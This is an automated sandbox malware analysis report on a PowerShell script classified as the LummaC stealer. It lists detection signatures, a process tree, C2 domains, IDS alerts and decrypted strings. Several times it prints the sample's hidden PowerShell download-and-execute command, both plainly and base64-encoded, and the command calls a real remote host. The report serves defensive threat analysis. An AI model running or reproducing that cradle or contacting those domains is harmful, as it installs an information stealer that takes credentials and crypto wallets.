Edit tour

Windows Analysis Report
ofsetvideofre.click.ps1

Overview

General Information

Sample name:	ofsetvideofre.click.ps1
Analysis ID:	1506506
MD5:	a63ad45894b36993e894e20279be145a
SHA1:	40b85944355791391a5f4e46bfe596893d0c8f78
SHA256:	a8874e8a45555e5b3cbf40ce49bd4e79731cc740d4d0f4d9c55cfc0d770679c1
Tags:	ps1
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

.NET source code contains very large strings

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Maps a DLL or memory area into another process

Potential dropper URLs found in powershell memory

Powershell drops PE file

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

powershell.exe (PID: 1564 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2952 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6724 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content" MD5: 04029E121A0CFA5991749937DD22A1D9)

Set-up.exe (PID: 1568 cmdline: "C:\Users\user\AppData\Local\Temp\file\Set-up.exe" MD5: 098AC4621EE0E855E0710710736C2955)

StrCmp.exe (PID: 4452 cmdline: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe MD5: 916D7425A559AAA77F640710A65F9182)

more.com (PID: 4268 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 4676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SearchIndexer.exe (PID: 7156 cmdline: C:\Windows\SysWOW64\SearchIndexer.exe MD5: CF7BEFBA5E20F2F4C7851D016067B89C)

WerFault.exe (PID: 7064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1404 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6932 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1336 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bassicnuadnwi.shop", "caffegclasiqwp.shop", "stamppreewntnq.shop", "millyscroqwp.shop", "evoliutwoqm.shop", "locatedblsoqp.shop", "condedqpwqm.shop", "stagedchheiqwo.shop", "traineiwnqo.shop"], "Build id": "long--try"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\file\Set-up.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000000.1796200865.0000000000401000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: powershell.exe PID: 6724	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Set-up.exe PID: 1568	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.Set-up.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_6724.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2952, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content", ProcessId: 6724, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1564, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, ProcessId: 2952, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", ProcessId: 1564, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1564, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, ProcessId: 2952, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2952, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content", ProcessId: 6724, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1", ProcessId: 1564, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:23.357080+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49713	172.67.200.243	443	TCP
2024-09-07T23:16:24.071553+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49714	172.67.146.35	443	TCP
2024-09-07T23:16:25.136387+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49715	172.67.146.35	443	TCP

ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:23.426377+0200	2055475	1	A Network Trojan was detected	192.168.2.8	60285	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:23.402739+0200	2055479	1	A Network Trojan was detected	192.168.2.8	51777	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:23.414337+0200	2055483	1	A Network Trojan was detected	192.168.2.8	54990	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:23.922839+0200	2055485	1	A Network Trojan was detected	192.168.2.8	49714	172.67.146.35	443	TCP
2024-09-07T23:16:24.673494+0200	2055485	1	A Network Trojan was detected	192.168.2.8	49715	172.67.146.35	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:23.357080+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49713	172.67.200.243	443	TCP
2024-09-07T23:16:24.071553+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49714	172.67.146.35	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:25.136387+0200	2049812	1	A Network Trojan was detected	192.168.2.8	49715	172.67.146.35	443	TCP

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (bassicnuadnwi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:22.399733+0200	2055742	1	Domain Observed Used for C2 Detected	192.168.2.8	57060	1.1.1.1	53	UDP

ET MALWARE Observed Lumma Stealer Related Domain (bassicnuadnwi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T23:16:22.886002+0200	2055743	1	Domain Observed Used for C2 Detected	192.168.2.8	49713	172.67.200.243	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: condedqpwqm.shop	URL Reputation: Label: phishing
Source: locatedblsoqp.shop	URL Reputation: Label: phishing
Source: traineiwnqo.shop	URL Reputation: Label: malware
Source: stamppreewntnq.shop	URL Reputation: Label: phishing

Found malware configuration

Source: SearchIndexer.exe.7156.12.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["bassicnuadnwi.shop", "caffegclasiqwp.shop", "stamppreewntnq.shop", "millyscroqwp.shop", "evoliutwoqm.shop", "locatedblsoqp.shop", "condedqpwqm.shop", "stagedchheiqwo.shop", "traineiwnqo.shop"], "Build id": "long--try"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bassicnuadnwi.shop
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000008.00000002.2132945738.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: MeHdy4--pl8vrs1

Source: unknown	HTTPS traffic detected: 172.67.167.249:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 169.150.247.33:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.199.36.9:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.243:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.8:49715 version: TLS 1.2

Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RemixIcon\net47\MahApps.Metro.IconPacks.RemixIcon.pdbz source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SearchIndexer.pdb source: SearchIndexer.exe, 0000000C.00000003.2131896860.00000000008C2000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb<k source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Sensors\obj\Release\Microsoft.WindowsAPICodePack.Sensors.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C2AC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\ShellExtensions\obj\Release\Microsoft.WindowsAPICodePack.ShellExtensions.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C2FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Dev\ExtendedWPFToolkit\Release\Latest\OpenSource\Generated\Src\Xceed.Wpf.Toolkit\obj\Release\Xceed.Wpf.Toolkit.pdb8 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C5EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RPGAwesome\net47\MahApps.Metro.IconPacks.RPGAwesome.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.RPGAwesome.dll.4.dr
Source:	Binary string: C:\Users\Peter William Wagner\Downloads\WindowsAPICodePack-master\WindowsAPICodePack-master\Original\WindowsAPICodePack\Shell\obj\Release\Microsoft.WindowsAPICodePack.Shell.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C2FC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/net461-Release/System.CodeDom.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C568000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C5D8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\MaterialDesignInXamlToolkit\MaterialDesignInXamlToolkit\MaterialDesignThemes.Wpf\obj\Release\net452\MaterialDesignThemes.Wpf.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C0CB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Benton Stark\Documents\Visual Studio 2017\Projects\starksoft-aspen\Starksoft.Aspen\obj\Release\starksoft.aspen.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1C437000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1798946627.000001FE1C55E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Set-up.exe, 00000006.00000002.1914733891.0000000003330000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000006.00000002.1911297489.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132382359.0000000004681000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000008.00000002.2132675811.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284959319.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, SearchIndexer.exe, 0000000C.00000002.2284757744.000000000459F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Unicons\net47\MahApps.Metro.IconPacks.Unicons.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D5EF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.Zondicons\net47\MahApps.Metro.IconPacks.Zondicons.pdbn source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\mahapps-metro-iconpacks\src\MahApps.Metro.IconPacks\obj\Release\MahApps.Metro.IconPacks.RemixIcon\net47\MahApps.Metro.IconPacks.RemixIcon.pdb source: powershell.exe, 00000004.00000002.1798946627.000001FE1D2C2000.00000004.00000800.00020000.00000000.sdmp
